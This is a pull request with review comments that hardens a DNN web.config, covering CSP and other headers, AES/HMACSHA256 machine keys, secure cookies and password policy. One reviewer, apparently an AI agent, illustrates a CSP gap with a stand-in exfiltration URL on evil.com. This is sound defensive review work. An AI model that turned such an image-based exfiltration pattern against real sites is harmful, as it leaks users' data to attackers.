fix(security): harden web.config — CSP, HSTS, cookies, crypto (#131)

[jsboige]

@

Security hardening — DNNPlatform/web.config (#131)

Prep work for #131 Phase D. Harden the web.config snapshot (keys-excluded, safe to commit). The real production web.config (with machineKey/connection strings) is on the VPS — jsboige applies changes manually.

Changes (+15/-6, 1 file)

HTTP response headers (system.webServer/httpProtocol):

• Add X-Content-Type-Options: nosniff — prevent MIME sniffing
• Add Content-Security-Policy — restrictive default (self + needed CDN exceptions for Stripe/JS/fonts)
• Add Referrer-Policy: strict-origin-when-cross-origin
• Add Permissions-Policy: camera=(), microphone=(), geolocation=()
• Strict-Transport-Security — commented out (activate only when prod is fully HTTPS)

Cryptography (machineKey):

• decryption: 3DES → AES
• validation: SHA1 → HMACSHA256

Cookies:

• httpCookies requireSSL: false → true — cookies only over HTTPS
• anonymousIdentification cookieRequireSSL: false → true
• anonymousIdentification cookieProtection: None → All (encryption + validation)

Password policy (AspNetSqlMembershipProvider):

• minRequiredPasswordLength: 7 → 12
• minRequiredNonalphanumericCharacters: 0 → 1

Auth services:

• BasicAuth/DigestAuth forceSSL: false → true

PR Status

HOLD — merge timing:

• This PR is independent of the pipeline release (feat(qa): Multilingual visual verification iteration #140 sign-off)
• Can be merged at any point before or after the DNN platform upgrade
• jsboige will need to apply equivalent changes to the production web.config on VPS

Testing

• Static config change only — no automated tests applicable
• Verify in staging: check response headers via curl -I, confirm cookies set with Secure flag
• CSP may need relaxation if third-party resources are added (analytics, fonts, etc.)

Related

• chore(dnn): Update DNN platform, extensions, and address security vulnerabilities #131 (DNN platform update + security)
• Security audit comment: chore(dnn): Update DNN platform, extensions, and address security vulnerabilities #131 (comment)
• Dependabot fix(security): Resolve all Dependabot security alerts #120 (368 alerts, mostly npm transitive)
  @

[clusterManager-Myia]

[NanoClaw]

Review: web.config security hardening

Solid hardening pass. All changes move in the right direction and align with the #131 audit recommendations (P1 items 4, 8, 9). +15/-6 on a single config file, well-scoped.

Good

• Crypto migration: 3DES to AES, SHA1 to HMACSHA256 — both correct. Placeholder keys (REPLACE) confirm this is a safe-to-commit template, not production config.
• Cookie hardening: requireSSL=true + cookieProtection=All on both httpCookies and anonymousIdentification — proper defense-in-depth even though BasicAuth/DigestAuth are disabled (the forceSSL=true change on those is good hygiene).
• New headers: X-Content-Type-Options: nosniff, Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (camera/mic/geo blocked) — all standard and well-chosen.
• HSTS commented out: Prudent. The remove+commented-add pattern is clean — uncomment when prod is confirmed HTTPS-only.
• Password policy: 12 chars + 1 non-alphanumeric — reasonable modern minimum. Existing passwords unaffected (ASP.NET enforces on new/reset only).
• Remove-before-add pattern: Consistent with existing headers (X-Powered-By, X-XSS-Protection, X-Frame-Options) — correctly overrides IIS defaults before setting explicit values.

Concerns (non-blocking)

1. Cookie requireSSL="true" timing — verify prod HTTPS status

This is the only change with real regression potential. If any production traffic still arrives over HTTP, setting requireSSL=true will silently drop session and anonymous identification cookies for those requests — users get logged out or can't maintain sessions. The HSTS header is correctly held back for this reason, but the cookie flag is already active. If the site is fully HTTPS (redirect HTTP to HTTPS at the load balancer/IIS level), this is fine. If not, these cookie changes should ride along with the HTTPS migration, not precede it.

2. CSP unsafe-inline + unsafe-eval weaken the policy significantly

These effectively neuter XSS protection from CSP — 'unsafe-eval' allows eval(), new Function(), etc. This is a known DNN limitation (the framework injects inline scripts and uses eval in postback/control lifecycle), so it's an acceptable trade-off for a DNN-based site. But it should be tracked as tech debt — if DNN ever moves away from inline script injection, these should be tightened (or use nonce/hash-based CSP).

3. CSP img-src ... https: is very permissive

Allows images from any HTTPS source, which is an exfiltration vector (attacker loads https://evil.com/track?data=stolen as an image src). For a DNN site with user-generated content this may be necessary, but consider restricting to known domains if practical.

4. HSTS activation needs a follow-up task

The comment says "activate ONLY when site is fully HTTPS" — make sure there's a tracked item to uncomment this after the HTTPS migration is confirmed, otherwise it gets forgotten.

Verdict

No blockers. The security posture is materially improved. The one actionable item is confirming production is HTTPS-only before merging (or accepting the cookie change as part of the HTTPS migration). The CSP limitations are a known DNN trade-off, not a deficiency in this PR.

[clusterManager-Myia]

[Hermes] Review web.config security hardening (#131)

Checklist: ✅ Security clean (changes are hardening, not leaks) ✅ Cross-repo: none ✅ Fix incident: #131

Analysis — 9 security improvements: CSP restrictive default, X-Content-Type-Options nosniff, HSTS (correctly commented pending full HTTPS), Referrer-Policy strict-origin, Permissions-Policy camera/mic/geo disabled, machineKey HMACSHA256/AES, cookies requireSSL, membership password 12+ chars + 1 non-alpha, auth handlers forceSSL.

Note: CSP allows unsafe-inline/unsafe-eval — needed for legacy DNN/Razor. Consider nonce-based CSP if templates migrate.

APPROVE: Comprehensive security hardening following best practices.